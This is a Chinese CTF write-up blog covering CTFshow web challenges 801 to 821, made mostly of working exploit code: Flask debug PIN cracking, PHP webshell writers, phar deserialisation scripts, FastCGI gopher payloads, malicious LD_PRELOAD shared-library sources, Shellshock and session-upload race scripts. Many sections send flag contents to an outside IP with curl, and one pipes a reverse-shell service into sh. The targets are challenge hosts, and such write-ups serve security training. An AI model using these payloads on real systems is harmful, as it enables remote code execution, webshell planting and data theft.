【Web】CTFSHOW 常用姿势刷题记录(全)

news2024/11/20 4:51:35

目录

web801

web802

web803

web804

web805

web806

web807

法一:反弹shell

法二:vps外带

web808

web809

web810

web811

web812

web813

web814

web815

web816

web817

web818

web819

web820

web821

web822

web823

web824

web825

web826

web827

web828

web829

web830

web831


web801

flask算PIN,这篇文章有写:https://z3r4y.blog.csdn.net/article/details/134494238

初始界面:

访问/console,开启了debug模式

 /file?filename=suibian,随便传个值让flask报错,看到app路径为

/usr/local/lib/python3.8/site-packages/flask/app.py

/file?filename=/sys/class/net/eth0/address,读getNode得到uuid

 0242ac0c9f9c,十六进制再转十进制

2485377605532

/file?filename=/proc/sys/kernel/random/boot_id

225374fa-04bc-4346-9f39-48fa82829ca9 

/file?filename=/proc/self/cgroup 

 b411d864f4e593f4e388782956b10f2d5e11871e2ae5c13bc45e5e8cd18a766d

二者拼接一下得到machine_id

225374fa-04bc-4346-9f39-48fa82829ca9b411d864f4e593f4e388782956b10f2d5e11871e2ae5c13bc45e5e8cd18a766d

用下面的脚本算pin

import hashlib
from itertools import chain


def getPIN(public_bits, private_bits):
    rv = None
    num = None
    h = hashlib.sha1()
    for bit in chain(public_bits, private_bits):
        if not bit:
            continue
        if isinstance(bit, str):
            bit = bit.encode("utf-8")
        h.update(bit)
    h.update(b"cookiesalt")

    cookie_name = f"__wzd{h.hexdigest()[:20]}"

    # If we need to generate a pin we salt it a bit more so that we don't
    # end up with the same value and generate out 9 digits
    if num is None:
        h.update(b"pinsalt")
        num = f"{int(h.hexdigest(), 16):09d}"[:9]
    # Format the pincode in groups of digits for easier remembering if
    # we don't have a result yet.
    if rv is None:
        for group_size in 5, 4, 3:
            if len(num) % group_size == 0:
                rv = "-".join(
                    num[x: x + group_size].rjust(group_size, "0")
                    for x in range(0, len(num), group_size)
                )
                break
        else:
            rv = num

    return rv, cookie_name


if __name__ == "__main__":
    public_bits = [
        'root',
        'flask.app',
        'Flask',
        '/usr/local/lib/python3.8/site-packages/flask/app.py'
    ]

    private_bits = [
        '2485377605532',
        '225374fa-04bc-4346-9f39-48fa82829ca9b411d864f4e593f4e388782956b10f2d5e11871e2ae5c13bc45e5e8cd18a766d'
    ]

    PIN = getPIN(public_bits, private_bits)
    print(PIN)

访问/console,输入pin值,拿到交互式console

直接代码执行就可

 web802

无字母数字命令执行,可以看看这篇文章:https://z3r4y.blog.csdn.net/article/details/134338909

只ban了字母数字,不要太友好

最方便的就是取反

<?php

function negateRce(){
    fwrite(STDOUT,'[+]your function: ');

    $system=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));

    fwrite(STDOUT,'[+]your command: ');

    $command=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));

    echo '[*] (~'.urlencode(~$system).')(~'.urlencode(~$command).');';
}

negateRce();

web803

phar文件包含

 没有文件上传点,只能强制文件上传了,发现会立刻删除,走条件竞争有点哈皮,题目里给了写文件的else分支,利用即可,先写恶意文件,再包含恶意文件。

<?php
$phar = new Phar("test.phar");
$phar->startBuffering();
$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
$phar->addFromString("a.txt", "<?php eval(\$_POST[1]);?>");
$phar->stopBuffering();
?>
import requests
url="http://ae901965-37ad-47cb-b923-7be4020cf94a.challenge.ctf.show/"

file={'file':'/tmp/a.phar','content':open('test.phar','rb').read()}
data={'file':'phar:///tmp/a.phar/a','content':'suibian','1':'system("cat f*");'}
requests.post(url,data=file)
r=requests.post(url,data=data)
print(r.text)

web804

phar反序列化,可以看看这两篇文章:

https://z3r4y.blog.csdn.net/article/details/134479335

【Web】Phar反序列化相关例题wp_newstarctf pharone-CSDN博客

 file_exists触发反序列化

<?php
class hacker{
    public $code;
    public function __destruct(){
        eval($this->code);
    }
}
$a=new hacker();
$a->code="system('cat f*');";


$phar = new Phar("test.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata($a); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
$phar->stopBuffering();

?><?php
import requests
url="http://5d5c1d43-55e2-45d0-877a-ef8da113932e.challenge.ctf.show/"

file={'file':'/tmp/a.phar','content':open('test.phar','rb').read()}
data={'file':'phar:///tmp/a.phar','content':'suibian'}
requests.post(url,data=file)
r=requests.post(url,data=data)
print(r.text)

web805

open_basedir绕过 可以看看这篇文章:

从0学习bypass open_basedir姿势 - 先知社区

先看下函数禁用

1=phpinfo();

可以看到命令执行的函数都被ban了,那读文件可以用readfile函数

 payload:

1=mkdir('sub');chdir('sub');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');var_dump(scandir('/'));
1=mkdir('sub');chdir('sub');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');readfile('/ctfshowflag');

web806

php无参RCE,可以看这篇文章:https://xz.aliyun.com/t/9360

payload:

?code=eval(end(current(get_defined_vars())));&Z3r4y=system('cat /ctfshowflag');

web807

法一:反弹shell

推荐一个网站:https://your-shell.com/

傻瓜型反弹shell,我行你也行

payload:

?url=https://your-shell.com/124.222.136.33:1337 | sh

(先在自己vps开启1337端口监听)

贴出执行:

法二:vps外带

?url=https://;curl http://124.222.136.33:1338?flag=`cat /*`

注意一些特殊符号带不出来

web808

临时文件包含,做过临时文件包含的师傅都知道复现的难度有多大,所以建议直接session文件包含

 用下面脚本打就可

import requests
import threading

session = requests.session()

sess = "ctfshow"

file_name = "/var/www/html/1.php"
file_content = '<?php eval($_POST[1]);?>'

url = "http://3fd00eb3-48d8-4a13-99e6-4dcced70454f.challenge.ctf.show/"

data = {
    "PHP_SESSION_UPLOAD_PROGRESS": f"<?php echo 'success!'; file_put_contents('{file_name}','{file_content}');?>"
}

file = {
    'file': 'ctfshow'
}

cookies = {
    'PHPSESSID': sess
}


def write():
    while True:
        r = session.post(url=url, data=data, files=file, cookies=cookies)


def read():
    while True:
        r = session.post(url=url + "?file=/tmp/sess_ctfshow")
        if "success" in r.text:
            print("shell 地址为:" + url + "1.php")
            exit()


if __name__ == "__main__":
    event = threading.Event()
    with requests.session() as session:
        for i in range(1, 30):
            threading.Thread(target=write).start()
        for i in range(1, 30):
            threading.Thread(target=read).start()
    event.set()

web809

pear文件包含/RCE

都用bp发包

可以在/tmp目录下写文件

?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=@eval($_POST['cmd']);?>+/var/www/html/test.php

因为tmp是根目录下的,只能配合文件包含来利用

?file=/tmp/test.php

cmd=system('cat+/f*');

 也可以直接在/var/www/html下写文件

?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=@eval($_POST['cmd']);?>+/var/www/html/test.php

然后直接访问/test.php即可,方便一点

web810

SSRF打PHP-FPM,就是SSRF打中间件的套路

PHP-FPM 是基于 FastCGI 协议的 PHP 进程管理器

相关知识可以看这篇文章:

https://xz.aliyun.com/t/9544

直接gopherus乱打

_后内容再url编码一次

?url=gopher://127.0.0.1:9000/_%2501%2501%2500%2501%2500%2508%2500%2500%2500%2501%2500%2500%2500%2500%2500%2500%2501%2504%2500%2501%2500%25F6%2506%2500%250F%2510SERVER_SOFTWAREgo%2520%2F%2520fcgiclient%2520%250B%2509REMOTE_ADDR127.0.0.1%250F%2508SERVER_PROTOCOLHTTP%2F1.1%250E%2502CONTENT_LENGTH59%250E%2504REQUEST_METHODPOST%2509KPHP_VALUEallow_url_include%2520%253D%2520On%250Adisable_functions%2520%253D%2520%250Aauto_prepend_file%2520%253D%2520php%253A%2F%2Finput%250F%2509SCRIPT_FILENAMEindex.php%250D%2501DOCUMENT_ROOT%2F%2500%2500%2500%2500%2500%2500%2501%2504%2500%2501%2500%2500%2500%2500%2501%2505%2500%2501%2500%253B%2504%2500%253C%253Fphp%2520system%2528%2527cat%2520%2Ff%252A%2527%2529%253Bdie%2528%2527-----Made-by-SpyD3r-----%250A%2527%2529%253B%253F%253E%2500%2500%2500%2500

web811

file_put_contents打PHP-FPM,可以看看这篇文章:PHP-FPM攻击详解 - 跳跳糖

这题没有写文件的权限,可以考虑ftp打php-fpm

按部就班复现就行,但好像不能反弹shell,可以考虑信息外带

 起个恶意ftp服务器,把恶意数据流转发到127.0.0.1:9000

import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(('0.0.0.0',1338)) #端口可改
s.listen(1)
conn, addr = s.accept()
conn.send(b'220 welcome\n')
#Service ready for new user.
#Client send anonymous username
#USER anonymous
conn.send(b'331 Please specify the password.\n')
#User name okay, need password.
#Client send anonymous password.
#PASS anonymous
conn.send(b'230 Login successful.\n')
#User logged in, proceed. Logged out if appropriate.
#TYPE I
conn.send(b'200 Switching to Binary mode.\n')
#Size /
conn.send(b'550 Could not get the file size.\n')
#EPSV (1)
conn.send(b'150 ok\n')
#PASV
conn.send(b'227 Entering Extended Passive Mode (127,0,0,1,0,9000)\n') #STOR / (2)
conn.send(b'150 Permission denied.\n')
#QUIT
conn.send(b'221 Goodbye.\n')
conn.close()

最终payload:

?file=ftp://124.222.136.33:1338/test&content=%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%00%F6%06%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH97%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%09SCRIPT_FILENAMEindex.php%0D%01DOCUMENT_ROOT/%00%00%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00a%04%00%3C%3Fphp%20system%28%27curl%20http%3A//124.222.136.33%3A1337%3Fflag%3D%60cat%20/%2A%60%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00

web812

PHP-FPM未授权

脚本:

import socket
import random
import argparse
import sys
from io import BytesIO

# Referrer: https://github.com/wuyunfeng/Python-FastCGI-Client

PY2 = True if sys.version_info.major == 2 else False


def bchr(i):
    if PY2:
        return force_bytes(chr(i))
    else:
        return bytes([i])

def bord(c):
    if isinstance(c, int):
        return c
    else:
        return ord(c)

def force_bytes(s):
    if isinstance(s, bytes):
        return s
    else:
        return s.encode('utf-8', 'strict')

def force_text(s):
    if issubclass(type(s), str):
        return s
    if isinstance(s, bytes):
        s = str(s, 'utf-8', 'strict')
    else:
        s = str(s)
    return s


class FastCGIClient:
    """A Fast-CGI Client for Python"""

    # private
    __FCGI_VERSION = 1

    __FCGI_ROLE_RESPONDER = 1
    __FCGI_ROLE_AUTHORIZER = 2
    __FCGI_ROLE_FILTER = 3

    __FCGI_TYPE_BEGIN = 1
    __FCGI_TYPE_ABORT = 2
    __FCGI_TYPE_END = 3
    __FCGI_TYPE_PARAMS = 4
    __FCGI_TYPE_STDIN = 5
    __FCGI_TYPE_STDOUT = 6
    __FCGI_TYPE_STDERR = 7
    __FCGI_TYPE_DATA = 8
    __FCGI_TYPE_GETVALUES = 9
    __FCGI_TYPE_GETVALUES_RESULT = 10
    __FCGI_TYPE_UNKOWNTYPE = 11

    __FCGI_HEADER_SIZE = 8

    # request state
    FCGI_STATE_SEND = 1
    FCGI_STATE_ERROR = 2
    FCGI_STATE_SUCCESS = 3

    def __init__(self, host, port, timeout, keepalive):
        self.host = host
        self.port = port
        self.timeout = timeout
        if keepalive:
            self.keepalive = 1
        else:
            self.keepalive = 0
        self.sock = None
        self.requests = dict()

    def __connect(self):
        self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.sock.settimeout(self.timeout)
        self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        # if self.keepalive:
        #     self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 1)
        # else:
        #     self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 0)
        try:
            self.sock.connect((self.host, int(self.port)))
        except socket.error as msg:
            self.sock.close()
            self.sock = None
            print(repr(msg))
            return False
        return True

    def __encodeFastCGIRecord(self, fcgi_type, content, requestid):
        length = len(content)
        buf = bchr(FastCGIClient.__FCGI_VERSION) \
               + bchr(fcgi_type) \
               + bchr((requestid >> 8) & 0xFF) \
               + bchr(requestid & 0xFF) \
               + bchr((length >> 8) & 0xFF) \
               + bchr(length & 0xFF) \
               + bchr(0) \
               + bchr(0) \
               + content
        return buf

    def __encodeNameValueParams(self, name, value):
        nLen = len(name)
        vLen = len(value)
        record = b''
        if nLen < 128:
            record += bchr(nLen)
        else:
            record += bchr((nLen >> 24) | 0x80) \
                      + bchr((nLen >> 16) & 0xFF) \
                      + bchr((nLen >> 8) & 0xFF) \
                      + bchr(nLen & 0xFF)
        if vLen < 128:
            record += bchr(vLen)
        else:
            record += bchr((vLen >> 24) | 0x80) \
                      + bchr((vLen >> 16) & 0xFF) \
                      + bchr((vLen >> 8) & 0xFF) \
                      + bchr(vLen & 0xFF)
        return record + name + value

    def __decodeFastCGIHeader(self, stream):
        header = dict()
        header['version'] = bord(stream[0])
        header['type'] = bord(stream[1])
        header['requestId'] = (bord(stream[2]) << 8) + bord(stream[3])
        header['contentLength'] = (bord(stream[4]) << 8) + bord(stream[5])
        header['paddingLength'] = bord(stream[6])
        header['reserved'] = bord(stream[7])
        return header

    def __decodeFastCGIRecord(self, buffer):
        header = buffer.read(int(self.__FCGI_HEADER_SIZE))

        if not header:
            return False
        else:
            record = self.__decodeFastCGIHeader(header)
            record['content'] = b''
            
            if 'contentLength' in record.keys():
                contentLength = int(record['contentLength'])
                record['content'] += buffer.read(contentLength)
            if 'paddingLength' in record.keys():
                skiped = buffer.read(int(record['paddingLength']))
            return record

    def request(self, nameValuePairs={}, post=''):
        if not self.__connect():
            print('connect failure! please check your fasctcgi-server !!')
            return

        requestId = random.randint(1, (1 << 16) - 1)
        self.requests[requestId] = dict()
        request = b""
        beginFCGIRecordContent = bchr(0) \
                                 + bchr(FastCGIClient.__FCGI_ROLE_RESPONDER) \
                                 + bchr(self.keepalive) \
                                 + bchr(0) * 5
        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_BEGIN,
                                              beginFCGIRecordContent, requestId)
        paramsRecord = b''
        if nameValuePairs:
            for (name, value) in nameValuePairs.items():
                name = force_bytes(name)
                value = force_bytes(value)
                paramsRecord += self.__encodeNameValueParams(name, value)

        if paramsRecord:
            request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, paramsRecord, requestId)
        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, b'', requestId)

        if post:
            request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, force_bytes(post), requestId)
        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, b'', requestId)

        self.sock.send(request)
        self.requests[requestId]['state'] = FastCGIClient.FCGI_STATE_SEND
        self.requests[requestId]['response'] = b''
        return self.__waitForResponse(requestId)

    def __waitForResponse(self, requestId):
        data = b''
        while True:
            buf = self.sock.recv(512)
            if not len(buf):
                break
            data += buf

        data = BytesIO(data)
        while True:
            response = self.__decodeFastCGIRecord(data)
            if not response:
                break
            if response['type'] == FastCGIClient.__FCGI_TYPE_STDOUT \
                    or response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
                if response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
                    self.requests['state'] = FastCGIClient.FCGI_STATE_ERROR
                if requestId == int(response['requestId']):
                    self.requests[requestId]['response'] += response['content']
            if response['type'] == FastCGIClient.FCGI_STATE_SUCCESS:
                self.requests[requestId]
        return self.requests[requestId]['response']

    def __repr__(self):
        return "fastcgi connect host:{} port:{}".format(self.host, self.port)


if __name__ == '__main__':
    parser = argparse.ArgumentParser(description='Php-fpm code execution vulnerability client.')
    parser.add_argument('host', help='Target host, such as 127.0.0.1')
    parser.add_argument('file', help='A php file absolute path, such as /usr/local/lib/php/System.php')
    parser.add_argument('-c', '--code', help='What php code your want to execute', default='<?php system("cat /flagfile"); exit; ?>')
    parser.add_argument('-p', '--port', help='FastCGI port', default=28074, type=int)

    args = parser.parse_args()

    client = FastCGIClient(args.host, args.port, 3, 0)
    params = dict()
    documentRoot = "/"
    uri = args.file
    content = args.code
    params = {
        'GATEWAY_INTERFACE': 'FastCGI/1.0',
        'REQUEST_METHOD': 'POST',
        'SCRIPT_FILENAME': documentRoot + uri.lstrip('/'),
        'SCRIPT_NAME': uri,
        'QUERY_STRING': '',
        'REQUEST_URI': uri,
        'DOCUMENT_ROOT': documentRoot,
        'SERVER_SOFTWARE': 'php/fcgiclient',
        'REMOTE_ADDR': '127.0.0.1',
        'REMOTE_PORT': '9985',
        'SERVER_ADDR': '127.0.0.1',
        'SERVER_PORT': '80',
        'SERVER_NAME': "localhost",
        'SERVER_PROTOCOL': 'HTTP/1.1',
        'CONTENT_TYPE': 'application/text',
        'CONTENT_LENGTH': "%d" % len(content),
        'PHP_VALUE': 'auto_prepend_file = php://input',
        'PHP_ADMIN_VALUE': 'allow_url_include = On'
    }
    response = client.request(params, content)
    print(force_text(response))

最终payload:

python ftpexp.py -c "<?php system('cat /f*');?>" -p 28160 pwn.challenge.ctf.show /usr/local/lib/php/System.php

web813

劫持mysqli

利用条件:

1.拓展目录明确且可写

2.能够载入我们的恶意so文件(重启php-fpm或能使用php命令行)

3.有调用我们自定义函数的代码

通过将常用的函数、类和数据打包成.so 文件,不同的程序可以共享这些代码,避免重复编写和维护相同的代码逻辑,提高了代码的重用性。

php -r 是 PHP 命令行工具的一个参数,用于在命令行中直接执行 PHP 代码而不需要编写独立的 PHP 脚本文件。通过 php -r 参数,可以方便快捷地在命令行中执行一行简单的 PHP 代码。

使用格式为:php -r 'php code here'

注册函数找不到就去拓展目录找so文件,调用ctfshow函数的时候就会去so文件里面找,这题就是mysqli.so了,而mysqli.so已经被我们所覆写,从而执行恶意代码

(关于为啥要用命令行,因为命令行就是每次将拓展载入,使用,销毁)

我们接下来的工作只要劫持(改写)被调用的so文件即可,这一题就是mysqli.so

phpinfo看一眼路径

我用的php源码是7.3.22的,用其自带的ext_skel.php来生成so文件

具体流程如下:

php ext_skel.php --ext ctfshow --std
cd ctfshow
修改ctfshow.c的源码
phpize
./configure
make && make install

贴出ctfshow.c(注意这里的system是c语言的system,而非php的system,哪怕system被disable_function禁用了也不受影响)

#ifdef HAVE_CONFIG_H
# include "config.h"
#endif

#include "php.h"
#include "ext/standard/info.h"
#include "php_ctfshow.h"

/* For compatibility with older PHP versions */
#ifndef ZEND_PARSE_PARAMETERS_NONE
#define ZEND_PARSE_PARAMETERS_NONE() \
	ZEND_PARSE_PARAMETERS_START(0, 0) \
	ZEND_PARSE_PARAMETERS_END()
#endif

/* {{{ void ctfshow_test1()
 */
PHP_FUNCTION(ctfshow)
{
	ZEND_PARSE_PARAMETERS_NONE();

	system("curl 124.222.136.33:1337?flag=`cat /f*`");
}
/* }}} */

/* {{{ string ctfshow_test2( [ string $var ] )
 */
PHP_FUNCTION(ctfshow_test2)
{
	char *var = "World";
	size_t var_len = sizeof("World") - 1;
	zend_string *retval;

	ZEND_PARSE_PARAMETERS_START(0, 1)
		Z_PARAM_OPTIONAL
		Z_PARAM_STRING(var, var_len)
	ZEND_PARSE_PARAMETERS_END();

	retval = strpprintf(0, "Hello %s", var);

	RETURN_STR(retval);
}
/* }}}*/

/* {{{ PHP_RINIT_FUNCTION
 */
PHP_RINIT_FUNCTION(ctfshow)
{
#if defined(ZTS) && defined(COMPILE_DL_CTFSHOW)
	ZEND_TSRMLS_CACHE_UPDATE();
#endif

	return SUCCESS;
}
/* }}} */

/* {{{ PHP_MINFO_FUNCTION
 */
PHP_MINFO_FUNCTION(ctfshow)
{
	php_info_print_table_start();
	php_info_print_table_header(2, "ctfshow support", "enabled");
	php_info_print_table_end();
}
/* }}} */

/* {{{ arginfo
 */
ZEND_BEGIN_ARG_INFO(arginfo_ctfshow_test1, 0)
ZEND_END_ARG_INFO()

ZEND_BEGIN_ARG_INFO(arginfo_ctfshow_test2, 0)
	ZEND_ARG_INFO(0, str)
ZEND_END_ARG_INFO()
/* }}} */

/* {{{ ctfshow_functions[]
 */
static const zend_function_entry ctfshow_functions[] = {
	PHP_FE(ctfshow,		arginfo_ctfshow_test1)
	PHP_FE(ctfshow_test2,		arginfo_ctfshow_test2)
	PHP_FE_END
};
/* }}} */

/* {{{ ctfshow_module_entry
 */
zend_module_entry ctfshow_module_entry = {
	STANDARD_MODULE_HEADER,
	"ctfshow",					/* Extension name */
	ctfshow_functions,			/* zend_function_entry */
	NULL,							/* PHP_MINIT - Module initialization */
	NULL,							/* PHP_MSHUTDOWN - Module shutdown */
	PHP_RINIT(ctfshow),			/* PHP_RINIT - Request initialization */
	NULL,							/* PHP_RSHUTDOWN - Request shutdown */
	PHP_MINFO(ctfshow),			/* PHP_MINFO - Module info */
	PHP_CTFSHOW_VERSION,		/* Version */
	STANDARD_MODULE_PROPERTIES
};
/* }}} */

#ifdef COMPILE_DL_CTFSHOW
# ifdef ZTS
ZEND_TSRMLS_CACHE_DEFINE()
# endif
ZEND_GET_MODULE(ctfshow)
#endif

/*
 * Local variables:
 * tab-width: 4
 * c-basic-offset: 4
 * End:
 */

要把二进制文件流写入靶机mysqli.so文件中,写脚本即可

import requests
url="http://7f163334-7227-417a-b019-05dd12755970.challenge.ctf.show/"
data={'file':'/usr/local/lib/php/extensions/no-debug-non-zts-20180731/mysqli.so','content':open('ctfshow.so','rb').read()}
r1 = requests.post(url+'?a=write',data=data)
print(r1.content)
r2 = requests.get(url+'?a=run')
print(r2.content)

监听,外带

web814

劫持getuid 

利用条件:

1.有文件写入点 2.可执行putenv命令 3.执行了可以生成新进程的函数

php中可以产生新进程的函数:

1.命令执行类:system shell_exec exec passthru

2.进程类:proc_open popen pcntl

3.外部程序调用类:mail imap_mail

4.拓展缺陷类:imagick      

 关于LD_PRELOAD:LD_PRELOAD 是一个用于动态链接器的环境变量,它可以指定一个共享库(通常是一个预加载库),在程序启动时优先加载该库,覆盖系统默认的同名函数。LD_PRELOAD 的作用主要是用来干预程序的动态链接过程,通过提供自定义的共享库,可以重定义或增强程序中的特定函数的行为。

关于getuid:在php中,如果要启动一个新的进程,那么这个进程会调用getuid函数,如果通过环境变量LD_PRELOAD指定恶意的so文件,那么只要新建进程,就会执行我们的恶意代码。这里的system就起到了新建进程的作用。

web814.c

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
void payload(){
        system("curl http://124.222.136.33:1337?flag=`cat /f*`");
}
int getuid()
{
        if(getenv("LD_PRELOAD")==NULL){ return 0;}
        unsetenv("LD_PRELOAD");
        payload();
}

依次执行,生成恶意so文件

gcc -c -fPIC web814.c -o exp
gcc --share exp -o exp.so

写脚本(添加LD_PRELOAD加载恶意so文件覆写getuid)

import requests
url="http://1bf3813f-c8e6-4e42-9732-07e5b46c496e.challenge.ctf.show/"
data={'file':'/tmp/exp.so','content':open('exp.so','rb').read()}
requests.post(url+'?a=write',data=data)
requests.get(url+'?a=run&env=LD_PRELOAD=/tmp/exp.so')

监听,外带

web815

劫持构造器

在 C 语言中,attribute((constructor)) 是一种扩展修饰符,用于指定一个函数作为在程序启动时自动执行的构造函数。当使用了这个修饰符之后,这个函数会在程序运行之前被自动调用,用于执行一些初始化操作。

使用 attribute((constructor)) 修饰的函数会在 main 函数执行之前被调用,并且可以有多个这样的构造函数,它们的调用顺序取决于编译器和链接器的实现。

也就是说只要启动新进程,就会统一调用这个恶意构造函数,比web814更通用,原理基本一致。

这里mail()起到了新建进程的作用,直接打LD_PRELOAD

web815.c

#define _GNU_SOURCE
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
extern char** environ;

__attribute__ ((__constructor__)) void hack(void)
{
unsetenv("LD_PRELOAD");
system("curl http://124.222.136.33:1337?flag=`cat /f*`");
}

 生成恶意so文件

gcc -c -fPIC web815.c -o exp&&gcc --share exp -o exp.so

拿脚本打

import requests
url="http://9049c4b6-7b93-431d-a82b-907f48363ee1.challenge.ctf.show/"
data={'file':'/tmp/exp.so','content':open('exp.so','rb').read()}
requests.post(url+'?a=write',data=data)
requests.get(url+'?a=run&env=LD_PRELOAD=/tmp/exp.so')

监听,外带

 

web816

临时文件利用

so文件拓展是system新建进程触发的,原理和上题一样,但用的是临时文件上传的方式写文件(这题/tmp目录有写文件的权限,所以不需要条件竞争)

关于这里为啥是[2]?因为如果tmp目录为空,第一个是.目录,第二个是..目录,第三个元素就是我们上传的临时文件名

用的还是web815的so文件

import requests
url="http://d232d316-e893-4ab6-8525-726550153e15.challenge.ctf.show/?env=LD_PRELOAD=/tmp/"
file={'file':open('exp.so','rb').read()}
res=requests.post(url,files=file)

监听,外带

web817

题目源码

$file = $_GET['file'];
if(isset($file) && preg_match("/^\/(\w+\/?)+$/", $file)){
	shell_exec(shell_exec("cat $file"));

}

正则意思是匹配以斜杠开头,后跟一个或多个字母数字字符和斜杠的字符串

然后无回显执行一个文件的内容

这题考的是nginx的body缓存机制,恶意so文件如果字节数小于16K,我们可以手工膨胀到16K以上,在恶意so文件加入无关字节,有可能将我们的恶意so文件通过缓存文件形式暂时保留。
在上传文件被删除后,还继续进行了修改和访问,可以通过访问/proc/pid/fd/xxx访问被删除的文件
可以一边post传数据,一边读fd下文件

可以参考这篇文章:LFI to RCE – AndyNoel's Blog

默认php的执行用户名为www-data

脚本:

import threading
import socket
import re
port= 28121
s=socket.socket()
s.connect(('pwn.challenge.ctf.show',port))
s.send(f'''GET / HTTP/1.1
Host:127.0.0.1

	'''.encode())
data=s.recv(1024).decode()
s.close()
pid = re.findall('(.*?) www-data',data)[0].strip()
print(pid)

con="curl http://124.222.136.33:1337?`cat /f*`;"+'0'*1024*500
l = len(con)
def upload():
	while True:
		s=socket.socket()
		s.connect(('pwn.challenge.ctf.show',port))
		x=f'''POST / HTTP/1.1
Host: 127.0.0.1
Content-Length: {l}
Content-Type: application/x-www-form-urlencoded
Connection: close

{con}

		'''.encode()
		s.send(x)
		s.close()

def bruter():
	while True:
		for fd in range(3,40):
			print(fd)
			s=socket.socket()
			s.connect(('pwn.challenge.ctf.show',port))
			s.send(f'''GET /?file=/proc/{pid}/fd/{fd} HTTP/1.1
Host: 127.0.0.1
Connection: close

'''.encode())
			print(s.recv(2048).decode())
			s.close()


for i in range(30):
    t = threading.Thread(target=upload)
    t.start()
for j in range(30):
    a = threading.Thread(target=bruter)
    a.start()

监听,外带

web818

题目代码


$env = $_GET['env'];
if(isset($env)){
	putenv($env);
	system("echo ctfshow");
}else{
	system("ps aux");
}
···

这题考的是利用nginx的body缓存配合LD_PRELOAD实现恶意so文件的代码执行,用的还是web815的so文件

脚本

import  threading
import socket
import re
port= 28151
s=socket.socket()
s.connect(('pwn.challenge.ctf.show',port))
s.send(f'''GET / HTTP/1.1
Host:127.0.0.1

	'''.encode())
data=s.recv(1024).decode()
s.close()
pid = re.findall('(.*?) www-data',data)[0].strip()
print(pid)
l=str(len(open('exp.so','rb').read()+b'\n'*1024*200)).encode()
def upload():
	while True:
		s=socket.socket()
		s.connect(('pwn.challenge.ctf.show',port))
		x=b'''POST / HTTP/1.1
Host: 127.0.0.1
User-Agent: yu22x
Content-Length: '''+l+b'''
Content-Type: application/x-www-form-urlencoded
Connection: close

'''+open('exp.so','rb').read()+b'\n'*1024*200+b'''

'''
		s.send(x)
		s.close()

def bruter():
	while True:
		for fd in range(3,40):
			print(fd)
			s=socket.socket()
			s.connect(('pwn.challenge.ctf.show',port))
			s.send(f'''GET /?env=LD_PRELOAD=/proc/{pid}/fd/{fd} HTTP/1.1
Host: 127.0.0.1
User-Agent: yu22x
Connection: close

'''.encode())
			print(s.recv(2048).decode())
			s.close()


for i in range(30):
    t = threading.Thread(target=upload)
    t.start()
for j in range(30):
    a = threading.Thread(target=bruter)
    a.start()

监听,外带

web819

破壳漏洞介绍:
想办法bash的匿名函数环境变量
bash在设计上可以通过环境变量来初始化一个匿名函数,并给其命名,函数体必须(){开头,函数名BASH_FUNC_开头,并以%%结尾
我们只需要控制生成一个能够还原为函数的环境变量格式,就能在system底层调用bash后,通过环境变量注册一个函数。即我们可以控制任意函数(覆写),只要有调用这个函数的地方,就可以任意代码执行

但靶机sh环境必须要是bash才能利用,如ubuntu的dsh,alpine的ash均不能用这种姿势

payload:

?env=BASH_FUNC_whoami%%=() { cat /f*;}

web820

这题,无图言屌,懂的都懂

web821

7字符可写(web目录可写)

参考文章:

https://blog.51cto.com/u_15080020/4328045

脚本

import requests
import time

url = "http://ff2d125b-85e0-4c9a-a5bb-ac6ff03890f5.challenge.ctf.show/"

payload = [
    ">hp",
    ">1.p\\",
    ">d\\>\\",
    ">\\ -\\",
    ">e64\\",
    ">bas\\",
    ">7\\|\\",
    ">XSk\\",
    ">Fsx\\",
    ">dFV\\",
    ">kX0\\",
    ">bCg\\",
    ">XZh\\",
    ">AgZ\\",
    ">waH\\",
    ">PD9\\",
    ">o\\ \\",
    ">ech\\",
    "ls -t>0",
    ". 0"
]


def writeFile(payload):
    data = {
        "cmd": payload
    }
    requests.post(url, data=data)


def run():
    for p in payload:
        writeFile(p.strip())
        print("[*] create " + p.strip())
        time.sleep(1)


def check():
    response = requests.get(url + "1.php")
    if response.status_code == requests.codes.ok:
        print("[*] Attack success!!!Webshell is " + url + "1.php")


def main():
    run()
    check()


if __name__ == '__main__':
    main()

用/1.php?1=eval($_POST[1]);转接post连蚁剑(最好用linux的)

连接成功后右键数据操作,弱口令root连数据库

随便翻一翻找到flag

web822

7字符不可写(web目录不可写)

